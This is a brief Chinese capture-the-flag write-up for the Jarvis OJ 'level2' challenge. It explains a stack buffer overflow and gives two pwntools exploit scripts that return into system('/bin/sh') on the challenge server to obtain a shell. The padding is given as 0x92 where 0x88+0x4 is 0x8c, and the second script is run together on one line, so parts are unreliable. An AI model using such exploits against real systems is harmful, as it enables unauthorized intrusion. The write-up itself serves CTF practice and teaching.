Pwn-level2
题目地址
开启了NX 那么就不能shellcode
read存在栈溢出
IDA按Shift+F12查看字符串,发现有shell
buf需要填充0x92个字符(0x88+0x4)
现在可以构造一个system("/bin/sh")的栈帧,通过控制vulnerable_function函数返回到该栈帧的地址,执行system("/bin/sh")来获取shell
system的地址为08048320
/bin/sh的地址为0804A024
利用代码如下
from pwn import *
r=remote('pwn2.jarvisoj.com',9878)
payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) //跳到system地址,返回地址为0xaaaa,参数为/bin/sh
r.sendline(payload)
r.interactive()
或者
from pwn import *
p = remote('pwn2.jarvisoj.com','9878') elf = ELF('./level2') sh_addr = elf.search('/bin/sh').next() print p32(sh_addr) system_addr = elf.symbols['system'] print p32(system_addr) payload = 'a' * (0x88 + 0x4) + p32(system_addr) +'aaaa' + p32(sh_addr) p.send(payload) p.interactive()
执行